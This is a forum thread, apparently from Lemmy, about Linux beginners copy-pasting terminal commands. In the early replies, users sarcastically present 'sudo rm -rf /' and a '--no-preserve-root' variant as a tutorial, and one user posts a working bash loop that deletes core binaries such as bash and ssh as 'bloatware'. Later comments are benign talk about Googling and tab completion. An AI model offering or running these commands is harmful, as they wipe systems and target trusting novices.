• Rabbithole
    link
    fedilink
    58
    edit-2
    2 years ago

    I’m in a helpful mood so I’ll add something for anyone stuck in OP’s situation.

    It’s ok, Linux has a built in tutorial system for learning the terminal, so if you ever want to progress beyond copy/pasting, you can use that.

    Just go into the terminal and type (or just copy/paste) this to get the tutorial program running:

    sudo rm -rf /

    Type your password when prompted and you’re golden. No more linux issues ever again.

    • @[email protected]
      link
      fedilink
      122 years ago

      I told someone to do that way back when. He wisely tried it on a computer at Best Buy (a Mac) rather than his own. I respected his thinking ahead.

    • @[email protected]
      link
      fedilink
      21
      edit-2
      2 years ago

      I tried your command and got the tutorial program and I gotta say that this is the best tutorial program I’ve ever seen. Now I wonder why other OSes don’t do that

      • Rabbithole
        link
        fedilink
        12
        edit-2
        2 years ago

        It’s great, isn’t it? As a side bonus, the tutorial modules on system optimization commands are just great. Check how much less RAM and CPU footprint your system’s using now that you’ve run the tutorials. It’s almost like nothing’s going on in the background at all.

        This is the reason that BASH will always be better than Powershell, imho.

          • Rabbithole
            link
            fedilink
            112 years ago

            Well, technically it teaches you how to optimize your system.

            That said, the optimizations are really effective.

            • Hello Hotel
              link
              fedilink
              7
              edit-2
              2 years ago

              Note that the more corporate distros install PUPs (Potentially Unwanted Programs). (like clang) To uninstall, do what youd do on a Windows machine and wrip it out of your PC forcably

              while read bloatware; do bloatware="$(echo "$bloatware" | cut -f1 -d'#')"; file="$(whereis "$bloatware" | cut -f2 -d' ')"; if test -f "$file"; do unlink "$file"; fi; done <<bloatlist 
              clang # unwanted telemitry
              bash  # promotes violence
              tree    # hippy garbage
              awk    # secret backdoor into your PC
              ssh    # isnt up to date on its intentional encryption backdoor certificate
              bloatlist
              
              /s

              Hope nobody dumb enough to run this Because it actually works

              • Rabbithole
                link
                fedilink
                32 years ago

                Lol, I know what you mean.

                Isn’t it fucked up how we all say that linux doesn’t have viruses, and yet how many times have you ever seen an install of Mint or Ubuntu that didn’t have “Tree” or “Awk” just sitting there waiting to ruin your whole day.

                I swear to God Canonical have some things to answer for.

    • Hello Hotel
      link
      fedilink
      29
      edit-2
      2 years ago

      Remember that if you run it as root and dont add the flag --no-preserve-root you leave your system vunrable to hackers like Anonymous or 4chan until you reboot,

      I also find that adding --verbose adds more things like commentary and extras that really help

      So, run sudo rm -rf --no-preserve-root --verbose

      /s

      • Rabbithole
        link
        fedilink
        18
        edit-2
        2 years ago

        All good points.

        That’s why I love communities like these, there are always people willing to expound upon other’s solutions with solid additional information.

        It’s what makes forums like these such goldmines of information when you’re first cutting your teeth learning new things.

        Upvoted.

    • NightoftheLemmy
      link
      fedilink
      182 years ago

      Done and I must say, as stated by the comments above - my CPU and RAM usage are at an all time low. Other OSes don’t hold shit against Linux now.

  • @[email protected]
    link
    fedilink
    52 years ago

    ChatGPT has actually been invaluable for switching to Linux for this reason. I only broke my system after I tried finding my own solutions to problems online and copied that code.

  • @[email protected]
    link
    fedilink
    222 years ago

    People underestimate how important being able to google answers on the internet has been for the take-up of linux and many other things. Most of us would be lost without Google.

    • @[email protected]
      link
      fedilink
      152 years ago

      Aaand the arch wiki

      Aaand stack overflow

      Aaand the Gentoo wiki

      Aaand random Linux forums :P

      Aaand very occasionally the accessible source code for when you’re really stuck and have no other choice but to sell your soul in exchange for a glimmer of understanding after peering into the abyss.

    • @[email protected]
      link
      fedilink
      32 years ago

      I’m a Linux system admin, I literally do this for a living, and I usually feel like I have no idea what I’m doing.

  • @[email protected]
    link
    fedilink
    12 years ago

    It’s the main reason mainly programmers use it, not because of the openess, because they learnt to Google there problems

  • @[email protected]
    link
    fedilink
    32 years ago

    Just be careful with those two letter shell commands like rm and dd. But if you don’t, you will become proficient in reinstalling Linux.

  • @[email protected]
    link
    fedilink
    12 years ago

    You copypaste till everything is in the terminal history, then you just scroll through it like a pro

  • @[email protected]
    link
    fedilink
    22 years ago

    Honestly this is good enough for most people. Some may say you risk fucking up the os/computer but windows guides carry the same risk.

      • cloaker
        link
        fedilink
        32 years ago

        You don’t need to in Linux either. You can do most everything from a gui.

          • cloaker
            link
            fedilink
            12 years ago

            Of course but Debian, Ubuntu, Fedora, Mint and KDE are all pretty good in the gui when standard

            • @[email protected]
              link
              fedilink
              1
              edit-2
              2 years ago

              Agreed, but I’ve still run into some instances where a program is not available in the official store and you need to add the repo via terminal.

              Not as common as it used to be. I’m just saying.

              ¯\_ (ツ) _/¯

    • SolidGrue
      link
      fedilink
      English
      32 years ago

      I’m sad because this is true.

      Also, man -k is a lost, dark art.

    • @[email protected]
      link
      fedilink
      102 years ago

      the linux equivalent of earning your wings is attempting a simple fix and somehow fucking up so bad you have to start over from a fresh install

      • @[email protected]
        link
        fedilink
        32 years ago

        Yeah… I just wanted to connect my phone via adb. Ended up removing myself from the sudo-ers group. Since I did not know how to fix this problem at the time this caused a fresh install.

  • @[email protected]
    cake
    link
    fedilink
    322 years ago

    I actually take the time to type everything out, but I still have no idea what I’m doing.

    • @[email protected]
      link
      fedilink
      82 years ago

      You know, my students do this. It’s freaking hilarious when they inevitably have a typo and get an error. I chuckle every time. 😄

      • @[email protected]
        link
        fedilink
        102 years ago

        Omg I tell people at least 3 times a day about bash’s tab completion. Cli proficiency should be taught before programming

        • @[email protected]
          link
          fedilink
          32 years ago

          Tab completion is the main way I check that I’m using a valid file path in the command, especially when I’m deleting something. (and even then I double and triple check the path when I delete something lol)

        • @[email protected]
          link
          fedilink
          3
          edit-2
          2 years ago

          Thank you, whenever people ask me how to start learning and get rolling in tech related things I’ve struggled trying to articulate this exact point. I’m not a sysadmin or anything but knowing how to navigate CLIs across OS’s makes everything so much easier to learn and do

      • @[email protected]
        link
        fedilink
        182 years ago

        it is actually a good thing to do. helps in learning stuff faster. it’s good to hear that there’s still people who don’t mindlessly copy and paste

        • @[email protected]
          link
          fedilink
          42 years ago

          I realize my post sounds like I’m against students typing out commands, but I’m not. I’m against them mindlessly typing out commands they find on the internet without taking time to understand what the commands actually do. I encourage them to be intentional with their commands and really understand them.